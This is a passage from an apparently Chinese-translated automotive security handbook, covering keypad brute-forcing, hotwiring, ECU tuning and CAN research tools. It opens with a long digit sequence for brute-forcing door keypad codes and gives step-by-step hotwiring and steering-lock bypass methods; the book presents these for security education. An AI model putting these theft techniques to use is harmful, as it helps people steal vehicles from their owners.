7 5 1 9 3 7 7 1 9 3 7 9 1 9 3 9 3 1 9 3 9 5 1 9 3 9 7 1 9 3 9 9 1 9 5 3 3 1 9
5 3 5 1 9 5 3 7 1 9 5 3 9 1 9 5 5 3 1 9 5 5 5 1 9 5 5 7 1 9 5 5 9 1 9 5 7 3 1
9 5 7 5 1 9 5 7 7 1 9 5 7 9 1 9 5 9 3 1 9 5 9 5 1 9 5 9 7 1 9 5 9 9 1 9 7 3 3
1 9 7 3 5 1 9 7 3 7 1 9 7 3 9 1 9 7 5 3 1 9 7 5 5 1 9 7 5 7 1 9 7 5 9 1 9 7 7
3 1 9 7 7 5 1 9 7 7 7 1 9 7 7 9 1 9 7 9 3 1 9 7 9 5 1 9 7 9 7 1 9 7 9 9 1 9 9
3 3 1 9 9 3 5 1 9 9 3 7 1 9 9 3 9 1 9 9 5 3 1 9 9 5 5 1 9 9 5 7 1 9 9 5 9 1 9
9 7 3 1 9 9 7 5 1 9 9 7 7 1 9 9 7 9 1 9 9 9 3 1 9 9 9 5 1 9 9 9 7 1 9 9 9 9 3
3 3 3 3 5 3 3 3 3 7 3 3 3 3 9 3 3 3 5 5 3 3 3 5 7 3 3 3 5 9 3 3 3 7 5 3 3 3 7
7 3 3 3 7 9 3 3 3 9 5 3 3 3 9 7 3 3 3 9 9 3 3 5 3 5 3 3 5 3 7 3 3 5 3 9 3 3 5
5 5 3 3 5 5 7 3 3 5 5 9 3 3 5 7 5 3 3 5 7 7 3 3 5 7 9 3 3 5 9 5 3 3 5 9 7 3 3
5 9 9 3 3 7 3 5 3 3 7 3 7 3 3 7 3 9 3 3 7 5 5 3 3 7 5 7 3 3 7 5 9 3 3 7 7 5 3
3 7 7 7 3 3 7 7 9 3 3 7 9 5 3 3 7 9 7 3 3 7 9 9 3 3 9 3 5 3 3 9 3 7 3 3 9 3 9
3 3 9 5 5 3 3 9 5 7 3 3 9 5 9 3 3 9 7 5 3 3 9 7 7 3 3 9 7 9 3 3 9 9 5 3 3 9 9
7 3 3 9 9 9 3 5 3 5 5 3 5 3 5 7 3 5 3 5 9 3 5 3 7 5 3 5 3 7 7 3 5 3 7 9 3 5 3
9 5 3 5 3 9 7 3 5 3 9 9 3 5 5 3 7 3 5 5 3 9 3 5 5 5 5 3 5 5 5 7 3 5 5 5 9 3 5
5 7 5 3 5 5 7 7 3 5 5 7 9 3 5 5 9 5 3 5 5 9 7 3 5 5 9 9 3 5 7 3 7 3 5 7 3 9 3
5 7 5 5 3 5 7 5 7 3 5 7 5 9 3 5 7 7 5 3 5 7 7 7 3 5 7 7 9 3 5 7 9 5 3 5 7 9 7
3 5 7 9 9 3 5 9 3 7 3 5 9 3 9 3 5 9 5 5 3 5 9 5 7 3 5 9 5 9 3 5 9 7 5 3 5 9 7
7 3 5 9 7 9 3 5 9 9 5 3 5 9 9 7 3 5 9 9 9 3 7 3 7 5 3 7 3 7 7 3 7 3 7 9 3 7 3
9 5 3 7 3 9 7 3 7 3 9 9 3 7 5 3 9 3 7 5 5 5 3 7 5 5 7 3 7 5 5 9 3 7 5 7 5 3 7
5 7 7 3 7 5 7 9 3 7 5 9 5 3 7 5 9 7 3 7 5 9 9 3 7 7 3 9 3 7 7 5 5 3 7 7 5 7 3
7 7 5 9 3 7 7 7 5 3 7 7 7 7 3 7 7 7 9 3 7 7 9 5 3 7 7 9 7 3 7 7 9 9 3 7 9 3 9
3 7 9 5 5 3 7 9 5 7 3 7 9 5 9 3 7 9 7 5 3 7 9 7 7 3 7 9 7 9 3 7 9 9 5 3 7 9 9
7 3 7 9 9 9 3 9 3 9 5 3 9 3 9 7 3 9 3 9 9 3 9 5 5 5 3 9 5 5 7 3 9 5 5 9 3 9 5
7 5 3 9 5 7 7 3 9 5 7 9 3 9 5 9 5 3 9 5 9 7 3 9 5 9 9 3 9 7 5 5 3 9 7 5 7 3 9
7 5 9 3 9 7 7 5 3 9 7 7 7 3 9 7 7 9 3 9 7 9 5 3 9 7 9 7 3 9 7 9 9 3 9 9 5 5 3
9 9 5 7 3 9 9 5 9 3 9 9 7 5 3 9 9 7 7 3 9 9 7 9 3 9 9 9 5 3 9 9 9 7 3 9 9 9 9
5 5 5 5 5 7 5 5 5 5 9 5 5 5 7 7 5 5 5 7 9 5 5 5 9 7 5 5 5 9 9 5 5 7 5 7 5 5 7
5 9 5 5 7 7 7 5 5 7 7 9 5 5 7 9 7 5 5 7 9 9 5 5 9 5 7 5 5 9 5 9 5 5 9 7 7 5 5
9 7 9 5 5 9 9 7 5 5 9 9 9 5 7 5 7 7 5 7 5 7 9 5 7 5 9 7 5 7 5 9 9 5 7 7 5 9 5
7 7 7 7 5 7 7 7 9 5 7 7 9 7 5 7 7 9 9 5 7 9 5 9 5 7 9 7 7 5 7 9 7 9 5 7 9 9 7
5 7 9 9 9 5 9 5 9 7 5 9 5 9 9 5 9 7 7 7 5 9 7 7 9 5 9 7 9 7 5 9 7 9 9 5 9 9 7
7 5 9 9 7 9 5 9 9 9 7 5 9 9 9 9 7 7 7 7 7 9 7 7 7 9 9 7 7 9 7 9 7 7 9 9 9 7 9
7 9 9 7 9 9 9 9 9

这种方法之所以有效,是因为密码代码是相互衔接的。车辆并不知道一个代码的结束和另一个代码的开始,这意味着你不必尝试每一种可能,才能偶然找到正确的组合。

回顾:热接线

任何一本关于汽车黑客的书籍都不可能完整地介绍热接线——一种真正的蛮力攻击。不幸的是,这种攻击自 1990 年代中期以来就已经过时,但你仍然能在无数电影中看到它,因此我在这里也包括了它。我的目标不是帮助你去热接线一辆车,而是让你了解热接线是如何进行的。

过去,点火系统使用车辆的钥匙来完成电路:转动钥匙,你就连接了启动电线、点火电线和电池电线。没有复杂的防盗系统阻碍车辆启动;安全性纯粹是电气性的。

要热接一辆容易被破解的汽车,你需要拆下方向盘,暴露出点火汽缸和通常有三束电线。通过查阅汽车手册或简单地追踪电线,你可以找到点火电池束和启动电线。接下来,你需要剥开电池和点火电线,将它们扭在一起(参见图 12-9)。然后,你用启动电线“打火”电线束来启动汽车。一旦汽车启动,你就可以移除启动电线。

image

图 12-9:展示交叉电线的简单插图

如果一辆车有方向盘锁,你可以通过撬开金属钥匙孔弹簧和破坏锁芯,或者有时只是通过强行转动方向盘直到锁芯断裂,来绕过它。

总结

在本章中,你了解了低层次的无线通信。我们介绍了识别无线信号的方法和针对无线通信的常见攻击方式。我们使用 TPMS 演示了一些黑客攻击,表明即使是看似无害的设备也容易受到攻击。我们还回顾了钥匙扣安全,并展示了一些简单的破解方法。汽车盗窃正迅速适应现代电子汽车,且无钥匙系统攻击是盗窃中常用的一种手段。了解不同的系统、它们的优缺点,以及如何攻击它们,可以帮助你理解你的车辆在被盗方面的脆弱性。最后,我们讨论了一些传统的非电子破解方法,比如手动暴力破解车门密码和热接线。

在第十三章中,我们将探讨一种常见的、可以说是危害较小的黑客攻击类型:性能调优。

第十三章:性能调校

由 Dave Blundell 撰写

image

性能调校,通常简称为tuning,是指改变发动机的操作参数,以提高车辆性能。在当今的车辆中,这通常意味着修改发动机电脑,即使是机械性的修改也不例外。

性能调校对于大多数汽车赛事来说是必需的。根据《性能赛车产业》的数据,这个庞大的产业每年全球价值约 190 亿美元,仅在美国,每年就有近 50 万人参与赛车比赛。这些数据甚至未包括全球范围内参加业余赛车的许多改装车辆。

大多数性能调校仅仅是改变发动机的操作条件,以实现与原设计不同的目标。如果你愿意放弃一些安全性或使用不同于原设计的燃料,大多数发动机在动力或经济性方面都有很大的提升空间。

本章提供了发动机性能调校的概述,并讨论了在决定修改发动机操作的哪些方面时必须做出的权衡。以下是一些性能调校的代表性例子及成就:

• 为了提高 2008 年雪佛兰 Silverado 的拖载能力,安装了不同的后轴齿轮,但由于齿轮比的变化,导致车速表失准,变速器换挡过晚,防抱死刹车系统无法正常工作。需要重新编程发动机电脑,使车速表读数正确,同时变速器控制器也需要重新编程,以确保换挡正常。经过适当的校准后,车辆恢复正常工作。

• 在 2005 年款福特 F350 上,从夏季轮胎更换为冬季轮胎时,需要重新编程发动机和变速器电脑,以确保车速表准确和适当的变速器换挡。

• 作为 1995 年本田 Civic 发动机损坏后的替代方案,安装了 2000 年款本田 CR-V 的发动机和变速器。原车的发动机电脑经过重新编程和调校,以匹配新发动机。自更换发动机以来,这辆车已行驶近 60,000 英里。

• 调整变速器换挡时机及发动机对燃油和火花的使用,在工厂电脑的帮助下,使 2005 年款雪佛兰 Avalanche 的燃油效率得到了提升。这些改动使燃油经济性从 15.4 英里每加仑提高到 18.5 英里每加仑,同时保持了路易斯安那州的排放测试合规性。

• 在 1996 年款日产 240 中,工厂电脑被重新编程,以匹配新安装的发动机和变速器。在重新编程之前,这辆车几乎无法启动。重新编程后,车辆的表现就像是原厂配备新发动机时的样子。

警告

几乎每个国家都有自己的排放法规,通常禁止篡改、禁用或拆除任何与排放相关的系统。许多性能改装,包括发动机计算机调校,涉及改变或移除车辆的排放部件,这对于在公共道路上行驶的车辆可能是非法的。在对任何车辆进行性能调校之前,请考虑当地的法律。

性能调校的取舍

如果性能调校如此强大并提供如此多的好处,为什么汽车出厂时不设置最佳的调校?简短的回答是没有最佳设置;只有取舍和妥协,这取决于你希望从某辆特定车辆中得到什么。设置之间总是有相互作用。例如,获得最大马力的设置与提供最佳燃油经济性的设置并不相同。最低排放、最大燃油经济性和最大功率之间也有类似的取舍。为了同时提高燃油经济性和功率输出,必须增加燃烧的平均压力,这意味着发动机将更接近安全操作条件的极限。调校是一种妥协的博弈,发动机被配置以实现特定目标,而不至于自毁。

对于制造商而言,设计发动机性能时的优先顺序是确保

  1. 确保发动机安全运行,

  2. 它符合环保署(EPA)设定的排放标准,并且

  3. 确保燃油效率尽可能高。

当制造商设计某些以性能为导向的车辆时,如雪佛兰科尔维特,动力输出可能也是一个重要考虑因素,但只有在满足排放要求之后才会优先考虑。标准设置通常会使发动机的功率未能达到最大值,通常是为了减少排放并保护发动机。

在不修改机械部件的情况下对发动机进行性能调校时,通常需要做出以下妥协:

• 增加功率会降低燃油经济性并产生更多的碳氢化合物排放。

• 增加燃油经济性可能会增加氮氧化物(NOx)排放。

• 增加扭矩会增加车辆发动机和结构部件的压力和应力。

• 增加气缸压力会导致爆震和发动机损坏的风险增加。

也就是说,通过提高刹车平均有效压力(BMEP),实际上是可以获得更多的动力并且提高燃油经济性的。BMEP 本质上是发动机工作过程中施加在活塞上的平均压力。然而,值得注意的是,要显著提高 BMEP,通常也需要增加燃烧事件中的峰值气缸压力,从而增加爆震的风险。由于发动机的物理结构、所使用的燃料以及物理和材料因素,存在着给定情况下峰值压力的硬性限制。超过某个限制的峰值气缸压力通常会导致没有火花的燃烧,这种现象被称为自燃,也叫做爆震,它通常会迅速损坏发动机。

ECU 调校

发动机计算机是最常用于性能调校的车辆计算机。大多数性能改装旨在改变发动机的物理操作,这通常需要相应地调整发动机计算机的校准,以实现最佳操作。有时,这种重新校准需要通过移除并重新编程芯片来物理修改计算机,这就是芯片调校。在其他情况下,可以通过与 ECU 使用特殊协议进行通信而不是物理修改它来重新编程 ECU,这被称为闪存编程,或简称为闪存

芯片调校

芯片调校是最古老的发动机计算机修改方式。大多数早期的发动机控制器使用专用的 ROM 内存芯片。为了改变芯片的操作,你必须物理地移除芯片,在 ECU 外部重新编程它,然后再安装回去——这个过程叫做芯片调校。那些希望对老旧车辆进行反复修改的用户通常会安装插座代替 ROM,以便更方便地插入和取出芯片。

汽车计算机使用多种不同类型的内存芯片。有些芯片只能编程一次,但大多数芯片可以擦除并重新使用。一些旧型号芯片上有窗口,需要使用紫外线 C 灯(一种灭菌灯)来擦除它们。

EPROM 编程器

芯片调校通常需要一个EPROM 编程器,这是一种可以读取、写入以及——如果支持——编程芯片的设备。在进行芯片调校时,务必小心确认你购买的编程器与所要修改的芯片类型兼容。没有所谓的真正通用的芯片编程器。以下是一些常见的 EPROM 编程器:

BURN2 一款相对便宜的基础编程器(约$85),支持在芯片编程中常用的 EPROM。它具有 USB 接口,支持开放的指令集,以及许多已经原生支持的调校应用程序 (www.moates.net/chip-programming-c-94.html)。

Willem 另一个流行的 ROM 烧录器(价格从 $50 到 $100 不等,取决于型号)。最初的 Willem 使用并行端口接口,但较新版本使用 USB。(在 Ebay 或 MCUMall.com 上搜索 Willem。)

几乎所有 EPROM 编程器仅支持双列直插(DIP)芯片。如果您的车辆计算机使用表面贴装样式芯片,可能需要购买适当的附加适配器。通常建议从与编程器相同的来源获取任何适配器,以确保兼容性。所有适配器都应视为定制硬件。

图 13-1 显示了安装在 Nissan ECU 中的 ROM 适配板。左下角的两个空 28 引脚插座已添加到原始 ECU 中。通常需要进行一些焊接来修改和添加 ROM 板。

image

图 13-1:安装了 Moates ROM 适配板的 1992 年 S13 Nissan KA24DE ECU

ROM 模拟器

与其他调校方法相比,芯片调校的一大优势是可以使用 ROM 模拟器,它们将 ROM 内容存储在某种非易失性读写存储器中,使您可以对 ROM 进行即时修改。通过允许更多或更少的即时更改,ROM 模拟器可以大大减少调校车辆所需的时间,而刷写调校通常更新速度较慢。

ROM 模拟器通常使用 USB 或串行连接到 PC,并使用软件更新模拟器,以保持与 PC 上工作镜像的同步。以下是推荐的 ROM 模拟器:

Ostrich2 一款专为 8 位 EPROM 设计的 ROM 模拟器,支持从 4k(2732A)到 512k(4mbit 29F040)及其间的所有型号(27C128、27C256、27C512)。价格相对较低,约为 $185,具备带有开放命令集的 USB 接口,以及许多已经原生支持的调整应用程序(www.moates.net/ostrich-20-the-new-breed-p-169.html)。

RoadRunner 针对 16 位 EPROM,如 PSOP44 封装的 28F200、29F400 和 28F800(参见 图 13-2)。价格约为 $489,具备带有开放命令集的 USB 接口,以及许多已经原生支持的调整应用程序(www.moates.net/roadrunnerdiy-guts-kit-p-118.html)。

image

图 13-2:与雪佛兰 12200411 LS1 PCM 连接的 RoadRunner 模拟器

OLS300 一款仅适用于 WinOLS 软件的模拟器。价格约为 $3,000(需索取报价),原生支持多种 8 位和 16 位 EPROMs(www.evc.de/en/product/ols/ols300/)。

Flash Tuning

与芯片调校不同,闪存调校(也称为闪存编程)不需要物理修改。闪存时,通过使用专门的协议与 ECU 通信来重新编程 ECU。

第一个可闪存的 ECU 大约在 1996 年左右问世。J2534 DLL 与 OEM 软件结合提供了闪存编程的方法,但大多数调校软件完全绕过了这一点,并与 ECU 直接通信。大多数后市场调校软件包——如 HP tuners、EFI Live、Hondata 和 Cobb——使用专有硬件,而不是 J2534 透传设备。Binary Editor (www.eecanalyzer.net/ )是一个提供 J2534 选项的软件实例,能够通过支持的 J2534 接口来编程 Ford 汽车。

RomRaider

RomRaider (www.romraider.com/ )是一个免费的开源调校工具,专为 Subaru 汽车设计。通过该工具,您可以使用 Tactrix OpenPort 2.0——一种与 RomRaider 兼容的透传硬件 (www.tactrix.com/,约 170 美元)。一旦您将透传电缆连接到 ECU,RomRaider 将允许您下载 ECU 的闪存。然后,您可以用定义文件或def文件打开这些闪存镜像,该文件映射了图像中参数的位置和结构,并提供了将数据以人类可读格式显示的公式。这种映射使您能够快速定位并更改发动机参数,而无需拆解闪存。图 13-3 显示了加载了闪存镜像和定义的 RomRaider。

image

图 13-3:RomRaider ECU 编辑器

独立发动机管理

逆向工程原厂电脑的一个替代方法是直接用后市场零件替换它们。一个流行的独立发动机计算机是 MegaSquirt (megasquirt.info/ ),这是一系列适用于几乎任何燃油喷射发动机的电路板和芯片。

MegaSquirt 源于 DIY 社区,旨在让人们能够编程自己的发动机电脑。早期的 MegaSquirt 单元通常需要用户自行组装电路板,但这些版本常常导致混淆,因为许多竞争的用户组装硬件设计并不完全兼容。因此,当前的设计趋向于预制格式,以提供更一致和统一的硬件平台。

有几个跨平台工具可与 MegaSquirt 硬件一起使用。图 13-4 展示了其中最受欢迎的一种:TunerStudio (www.tunerstudio.com/index.php/tuner-studio/,约 60 美元)。TunerStudio 让您修改参数、查看传感器和发动机运行状态、记录数据,并分析数据以进行有针对性的调整。

image

图 13-4:TunerStudio 仪表盘

总结

本章展示了如何利用对车辆嵌入式系统的理解来改变其行为。我们已经看到,几乎任何对车辆的改动,即便是机械改装,都需要对车辆的计算机进行一些重新编程。我们探讨了标准出厂设置的改变如何导致性能上的权衡和妥协,因此,车辆的“最佳”设置始终取决于你的具体目标。我们还展示了一些性能调优方法的示例,包括芯片和闪存调优,并介绍了一些常用的硬件和软件工具,用于汽车调优。

第十四章:A

行业工具

image

本节讨论了在研究车辆时可能想使用的不同工具。我选择专注于低成本设备和软件,因为我认为让尽可能多的人参与研究很重要。

Open Garages 愿意展示和推广有助于汽车研究的工具。如果你的公司生产了优秀的产品,可以随时联系 Open Garages,但除非有开放的方式来贡献你的工具,否则不要指望免费的宣传。

硬件

在本节中,我们将介绍像 ChipWhisperer 这样的开发板,以及提供 CAN 连接的类似加密狗的设备。我们首先将看低成本的开源硬件,然后探索一些高端设备,适合那些愿意多花一点钱的人。

尽管有许多经济实惠的设备可以与 CAN 总线通信,但与这些设备互动所需的软件可能不足,因此你通常需要自己编写。

低端 CAN 设备

这些设备对于嗅探 CAN 总线的内容和注入数据包非常有用。它们从业余爱好者级别的板子到支持许多自定义功能并能同时处理多个 CAN 总线的专业设备不等。

Arduino Shields

许多 Arduino 和类似 Arduino 的设备($20 到 $30,* www.arduino.cc/ *)在添加 Arduino shield 后可以支持 CAN。以下是一些支持 CAN 的 Arduino shields:

CANdiy-Shield MCP2515 CAN 控制器,带两个 RJ45 连接器和原型区

ChuangZhou CAN-Bus Shield MCP2515 CAN 控制器,带 D-sub 连接器和螺丝端子

DFRobot CAN-Bus Shield STM32 控制器,带 D-sub 连接器

SeeedStudio SLD01105P CAN-Bus Shield MCP2515 CAN 控制器,带 D-sub 连接器

SparkFun SFE CAN-Bus Shield MCP2515 CAN 控制器,配有 D-sub 连接器和 SD 卡座;具有 LCD 和 GPS 模块的连接器

这些 shields 都很相似。大多数运行 MCP2515 CAN 控制器,但 DFRobot shield 使用 STM32 控制器,这种控制器速度更快,且具有更多的缓冲内存。

无论你选择哪个 shield,你都需要为 Arduino 编写代码以嗅探数据包。每个 shield 都附带一个库,用于与该 shield 进行程序化接口。理想情况下,这些总线应该支持类似 LAWICEL 协议的功能,这使得它们能够通过笔记本电脑上的用户空间工具(如 SocketCAN)通过串口发送和接收数据包。

Freematics OBD-II Telematics Kit

这款基于 Arduino 的 OBD-II 蓝牙适配器套件包含 OBD-II 设备和数据记录器,还配有 GPS、加速度计、陀螺仪和温度传感器。

CANtact

CANtact 是 Eric Evenchick 开发的一个开源设备,是一个非常实惠的 USB CAN 设备,支持 Linux SocketCAN。它使用 DB 9 连接器,并具有独特的优势——可以通过跳线针脚更改哪些针脚为 CAN 和地线,这使得它支持美国和英国风格的 DB9 到 OBD-II 连接器。你可以在cantact.io/购买 CANtact。

树莓派

树莓派是一个替代 Arduino 的方案,价格大约在$30 到$40 之间。Pi 提供了一个 Linux 操作系统,但没有集成 CAN 收发器,因此你需要购买一个扩展板。

使用树莓派相较于 Arduino 的一个优势是,它允许你直接使用 Linux SocketCAN 工具,而无需购买额外的硬件。一般来说,树莓派可以通过 SPI 与 MCP2515 进行通信,只需要一些基本的接线。以下是一些树莓派的实现方案:

Canberry MCP2515 CAN 控制器,仅带有螺丝端子(没有 D 型连接器;$23)

Carberry 两条 CAN 总线和两条 GMLAN 线路,LIN 和红外(似乎不是开源扩展板;$81)

PICAN CAN-Bus 板 MCP2515 CAN 控制器,带 D 型连接器和螺丝端子($40 到$50)

ChipKit Max32 开发板和 NetworkShield

ChipKit 板是一个开发板,配合 NetworkShield 使用,可以提供一个可网络解释的 CAN 系统,详细内容请参考《翻译 CAN 总线消息》中第 85 页的讨论。大约$110,这个开源硬件方案由 OpenXC 标准推崇,并支持 OpenXC 提供的预编译固件,但你也可以为其编写自己的固件,并进行原始 CAN 操作。

ELM327 芯片

ELM327 芯片是目前市场上最便宜的芯片之一(价格从$13 到$40),并且它被广泛应用于大多数便宜的 OBD 设备。它通过串口与 OBD 通信,几乎支持任何类型的连接器,从 USB 到蓝牙、Wi-Fi 等。你可以通过串口连接到 ELM327 设备,它们还能够发送除了 OBD/UDS 数据包以外的其他数据包。如需获取完整的 ELM327 命令列表,请参见数据手册:elmelectronics.com/DSheets/ELM327DS.pdf

不幸的是,现有的 CAN Linux 工具不能在 ELM327 上运行,但 Open Garages 已经开始了一项网络计划,其中包括针对 ELM327 的嗅探驱动程序,名为 CANiBUS(github.com/Hive13/CANiBUS/)。请注意,ELM327 的缓冲区空间有限,因此在嗅探时会丢失数据包,且传输可能不太精确。然而,如果你迫切需要,这是最便宜的选择。

如果你愿意打开设备并向你的 ELM327 焊接一些线,你可以重新烧录固件,将其转换为 LAWICEL 兼容设备,这样你那款超便宜的 ELM327 就能与 Linux 一起工作,并显示为 slcanX 设备!(你可以在位于爱荷华州得梅因的 Area 515 黑客空间博客中找到有关如何刷新 ELM327 的信息,网址是 area515.org/elm327-hacking/。)

GoodThopter 板

著名的硬件黑客 Travis Goodspeed 发布了一款开源、低成本的带 CAN 接口的板子,名为 GoodThopter。GoodThopter 基于他流行的 GoodFet 设备,采用 MCP2515 并通过串行与其自定义接口通信。你需要完全自己组装并焊接这个设备,但这样做的费用应该只需要几美元,具体取决于你在本地黑客空间可用的零件。

ELM-USB 接口

OBDTester.com 销售一款商业的 ELM-32x 兼容设备,价格大约为 60 美元。OBDTester.com 是 PyOBD 库的维护者(请参阅 第 246 页 的 “软件”)。

CAN232 和 CANUSB 接口

LAWICEL AB 生产商业 CAN 设备 CAN232,它通过带 DB9 接口的 RS232 端口插入,另外还有一款 USB 版本叫做 CANUSB(后者的价格为 110 到 120 美元)。由于这些设备是由 LAWICEL 协议的发明者制造的,因此它们保证能够与 can-utils 串行链接模块兼容。

VSCOM 适配器

VSCOM 是 Vision Systems 出品的一款经济实惠的商业 USB CAN 模块 (www.vscom.de/usb-to-can.htm),采用 LAWICEL 协议。VSCOM 可以通过串行链接 (slcan) 与 Linux can-utils 配合使用,效果很好。该设备的价格大约在 100 到 130 美元之间。

USB2CAN 接口

来自 8devices 的 USB2CAN 转换器 (www.8devices.com/usb2can/) 是一种最便宜的非串行 CAN 接口替代方案。这款小型的商业 USB 设备将在 Linux 中显示为标准的 can0 设备,并且在这个价位范围内提供了最集成的支持。大多数显示为 canX 原始设备的设备是 PCI 卡,通常其价格远高于这款设备。

EVTV Due 板

EVTV.me (store.evtv.me/) 专注于电动汽车改装。他们制作了许多用于对你历史车辆进行疯狂改装的工具,比如给它加装特斯拉动力系统。他们的其中一款工具是一个价值 100 美元的开源 CAN 嗅探器,名为 EVTV Due,实际上是一个内置 CAN 收发器和带螺丝端子接口的 Arduino Due。这款板子最初是为与他们的 SavvyCAN 软件一起使用而编写的,SavvyCAN 使用他们的通用车辆逆向工程工具 (GVRET),但现在也支持 SocketCAN。

CrossChasm C5 数据记录仪

CrossChasm C5 (www.crosschasm.com/technology/data-logging/ ) 是一款商业设备,支持 Ford VI 固件,售价大约$120。C5 支持 VI,也就是 CAN 翻译器,可以将 CAN 消息转换为 OpenXC 格式,并将一些专有的 CAN 数据包转换成通用格式,通过蓝牙发送。

CANBus Triple Board

正如我写这篇文章时,CANBus Triple (canb.us/ ) 仍在开发中。它使用的是专为马自达设计的接线束,但它支持任何车辆的三条 CAN 总线。

高端 CAN 设备

高端设备会更贵,但它们能够接收更多的同时通道,并提供更多内存,以帮助防止数据包丢失。高性能工具通常支持八个或更多通道,但除非你正在处理赛车车辆,否则你可能不需要这么多通道,因此在花费之前一定要确认是否真的需要这样的设备。

这些设备通常附带专有软件或软件订阅,有时需要支付额外的高费用。确保所选设备的相关软件可以完成你想要的功能,因为你通常会被锁定在他们的 API 和首选硬件中。如果你需要与 Linux 兼容的高端设备,可以尝试 Kvaser、Peak 或 EMS Wünsche。这些公司的设备通常使用 sja1000 芯片组,价格从$400 起。

CAN 总线 Y 型分接器

CAN 总线 Y 型分接器是一个非常简单的设备,基本上是一个 DLC 连接器分成两个连接器,这样你就可以将一个设备插入一个端口,将 CAN 嗅探器插入另一个端口。它们通常在亚马逊上售价大约$10,实际上制作起来非常简单。

HackRF SDR

HackRF 是 Great Scott Gadgets 公司出品的 SDR 设备 (greatscottgadgets.com/hackrf/ )。这个开源硬件项目可以接收和发送从 10 MHz 到 6 GHz 的信号。大约$330 的价格,性价比极高,是一个不可多得的 SDR 设备。

USRP SDR

USRP (www.ettus.com/ )是一个专业的模块化 SDR 设备,你可以根据自己的需求进行构建。USRP 是开源的,价格从$500 到$2,000 不等。

ChipWhisperer 工具链

NewAE Technologies 生产 ChipWhisperer (newae.com/chipwhisperer/ )。正如在《使用 ChipWhisperer 进行侧信道分析》的第 134 页中讨论的那样,ChipWhisperer 是一个用于侧信道攻击的系统,例如功耗分析和时钟故障注入。类似的系统通常价格超过$30,000,但 ChipWhisperer 是一个开源系统,价格在$1,000 到$1,500 之间。

Red Pitaya Board

Red Pitaya (redpitaya.com/) 是一款开源测量工具,售价约为 500 美元,可以替代昂贵的测量工具,如示波器、信号发生器和频谱分析仪。Red Pitaya 提供 LabView 和 Matlab 接口,你还可以为其编写自己的工具和应用程序。它甚至支持类似 Arduino 扩展板的扩展。

软件

和硬件一样,我们首先关注开源工具,然后再介绍一些更昂贵的工具。

Wireshark

Wireshark (www.wireshark.org/) 是一款流行的网络嗅探工具。只要你使用的是 Linux 系统并且启用了 SocketCAN,就可以在 CAN 总线网络上使用 Wireshark。Wireshark 本身没有任何功能来帮助排序或解码 CAN 数据包,但在紧急情况下它可能会有用。

PyOBD 模块

PyOBD (www.obdtester.com/pyobd)—也叫 PyOBD2PyOBD-II—是一个 Python 模块,用于与 ELM327 设备通信(见 图 A-1 和 A-2)。它基于 PySerial 库,旨在提供一个便捷的界面来获取你的 OBD 设置信息。对于 PyOBD 的特定扫描工具分支,请参考 Austin Murphy 的 OBD2 扫描工具 (github.com/AustinMurphy/OBD2-Scantool/),它旨在成为一个更完整的开源诊断故障排除解决方案。

image

图 A-1: PyOBD 正在运行诊断测试

image

图 A-2: PyOBD 正在读取传感器数据

Linux 工具

Linux 默认支持 CAN 驱动,SocketCAN 提供了一个简单的网卡接口体验来处理 CAN。你可以使用其 can-utils 套件进行命令行实现,作为开源软件,它非常容易扩展功能到其他实用程序中。(有关 SocketCAN 的更多信息,请参见 第三章)。

CANiBUS 服务器

CANiBUS 是一个由 Open Garages 用 Go 语言编写的 Web 服务器(见图 A-3)。该服务器允许一群研究人员同时在同一辆车上工作,无论是用于教学目的还是团队逆向工程会话。Go 语言可以移植到任何操作系统,但在某些平台上可能会遇到低级驱动问题。例如,即使你在 Linux 上运行 CANiBUS,你也无法直接与 SocketCAN 进行交互,因为 Go 不支持初始化 CAN 接口所需的套接字标志。(这个问题可以通过实现 socketcand 来解决,但截至目前,该功能尚未实现。)CANiBUS 确实有一个支持通用嗅探的 ELM327 驱动。你可以在 wiki.hive13.org/view/CANiBUS/ 上了解更多关于 CANiBUS 的信息,并可以从 github.com/Hive13/CANiBUS/ 下载源代码。

image

图 A-3:基于组的 CANiBUS 网络嗅探器

Kayak

Kayak (kayak.2codeornot2code.org/) 是一个基于 Java 的图形界面,用于分析 CAN 数据流。它具有多个高级功能,如 GPS 跟踪以及记录和回放功能。它使用 socketcand 来支持在其他操作系统上运行,因此你至少需要一个基于 Linux 的嗅探器来支持 Kayak。(你可以在第 46 页的“Kayak”中找到更多关于设置和使用的详细信息。)

SavvyCAN

SavvyCAN 是由 EVTV.me 的 Collin Kidder 编写的工具,它使用 EVTV.me 设计的另一个框架,GVRET,与硬件嗅探器(如 EVTV Due)进行通信。SavvyCAN 是一个开源的、基于 Qt 图形界面的工具,支持多种操作系统(见图 A-4)。它包含几个非常实用的功能,如 DBC 编辑器、CAN 总线图形化、日志文件差异对比、多个逆向工程工具以及所有你期望的正常 CAN 嗅探功能。SavvyCAN 不与 SocketCAN 进行通信,但它可以读取多种不同的日志文件格式,如 Bushmaster 日志、Microchip 日志、CRTD 格式和通用的 CSV 格式日志文件。

image

图 A-4:SavvyCAN 图形界面

O2OO 数据记录仪

O2OO (www.vanheusden.com/O2OO/) 是一个开源的 OBD-II 数据记录仪,它与 ELM327 配合工作,将数据记录到 SQLite 数据库中以供图形化分析。它还支持读取 NMEA 格式的 GPS 数据。

Caring Caribou

Caring Caribou (github.com/CaringCaribou/caringcaribou/), 用 Python 编写,旨在成为汽车黑客领域的 Nmap。到目前为止,它仍处于起步阶段,但展现出了巨大的潜力。Caring Caribou 拥有一些独特的功能,比如能够暴力破解诊断服务,并支持 XCP 协议。它还具备标准的嗅探和发送 CAN 功能,并支持自定义模块。

c0f 指纹识别工具

CAN of Fingers (c0f) 是一个开源工具,用于识别 CAN 总线系统的指纹,可以在 github.com/zombieCraig/c0f/ 找到。它提供了一些基本的支持,用于识别 CAN 总线网络流中的模式,在尝试找到噪声总线中的特定信号时非常有用。(参见 “使用 c0f” 在 第 206 页的示例)

UDSim ECU 模拟器

UDSim (github.com/zombieCraig/UDSim/) 是一个 GUI 工具,可以监控 CAN 总线,并通过观察通信自动学习连接到总线的设备(见图 A-5)。它旨在与其他诊断工具一起使用,如经销商工具或当地汽车商店的扫描工具。

image

图 A-5:UDSim 在测试台上学习模块时的示例屏幕

UDSim 有三种模式:学习模式、仿真模式和攻击模式。在学习模式下,它识别出响应 UDS 诊断查询的模块,并监控其响应。在仿真模式下,它模拟一辆车在 CAN 总线上,目的是欺骗或测试诊断工具。在攻击模式下,它为类似 Peach Fuzzer 的工具创建模糊测试配置文件 (www.peachfuzzer.com/).

Octane CAN 总线嗅探器

Octane (octane.gmu.edu/) 是一个开源的 CAN 总线嗅探器和注入器,具有非常友好的界面,用于发送和接收 CAN 数据包,包括一个 XML 触发系统。目前,它只在 Windows 上运行。

